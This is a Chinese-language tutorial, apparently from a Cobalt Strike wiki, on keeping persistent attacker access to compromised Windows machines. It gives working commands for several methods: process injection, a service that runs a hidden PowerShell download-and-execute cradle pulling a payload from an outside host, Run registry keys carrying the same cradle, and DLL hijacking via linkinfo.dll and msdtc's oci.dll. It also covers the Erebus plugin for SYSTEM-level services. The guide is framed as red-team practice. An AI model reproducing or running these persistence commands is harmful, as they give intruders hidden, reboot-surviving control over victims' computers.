CS权限维持

在攻防演练中,无论是在同内网其他出网机器还是在当前被控机,都建议拿到主机权限后优先考虑建立一个持久化的据点,方便后续渗透。正常情况下,当目标机器重启之后,驻留在 cmd.exe、powershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。在Windows上我们可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。因为这里是cobalt strike wiki,所以主要说一下在CS上的操作。

简介

权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。1、注册表 2、启动项 3、计时任务 4、服务 5、shift或者放大镜 6、各种劫持 7、利用其他安装的软件

Cobalt strike 注入进程

在目标会话上点击右键

Explore-Process List

然后选择一个进程,点击下面菜单栏里的Inject即可完成注入

微信图片_20230406224618

无文件后门

从Cobalt Strike菜单栏

Attacks--Web Drive-by--Scaripted Web Delivery

生成powershell后门

微信图片_20230406224711

点击Launch后,返回powershell远程下载执行命令。然后执行以下命令

shell sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\""
shell sc description  Name "Just For Test"   //设置服务的描述字符串
shell sc config Name start= auto             //设置这个服务为自动启动 
shell net start Name                         //启动服务

微信图片_20230406224840

此时重启服务器后,即可成功返回一个shell

注册表自启动

在windows启动项注册表里面添加一个木马程序路径,如:以system权限打开beacon后,输入

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\"" /f

微信图片_20230406224950

此时账号注销后重新登录,界面上会出现powershell快速闪过消失,成功返回shell 另外以下键值也可设为自启动

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

加载dll文件

explorer.exe

explorer这个进程每隔一段时间就会自动加载,所以可以用它目录下的配置文件进行权限维持。我们可以使用Cobaltstrike生成对应系统位数的DLL文件放置目标系统C:\Windows\目录下,要注意重命名为linkinfo.dll

微信图片_20230406225223

微信图片_20230406225233

建议使用administer权限执行此操作,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉

劫持msdtc

msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

首先把生成的恶意dll文件传到c:\windows\system32\目录下,然后kill掉msdtc进程

shell taskkill /f /im msdtc.exe

微信图片_20230406225336

等待一段时间,mstdc.exe重新启动后即可成功加载oci.dll上线cs,不过是普通用户身份。。。还得需要自己进行权限提升

微信图片_20230406225403

Erebus CobaltStrike后渗透测试插件

项目地址

https://lmpan.lmboke.com/Erebus-master.zip

下载后导入CS即可,不过使用时注意会话必须是system权限

使用方式

1、首先加载 cna 脚本

Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna

微信图片_20230406225737

2、生成 Payload 可执行文件

Attacks → Packages → Windows Executable(S)

微信图片_20230406225811

3、上传 payload 可执行文件至目标主机并通过插件添加服务

微信图片_20230406225832

微信图片_20230406225842

然后就通过 SC 命令把此 3.exe 添加进了开机启动项,从而初始了一个权限为 SYSTEM 的 Beacon 其效果等同于在beacon控制台中输入

此时重启机器后同样会获得上线会话

微信图片_20230406225951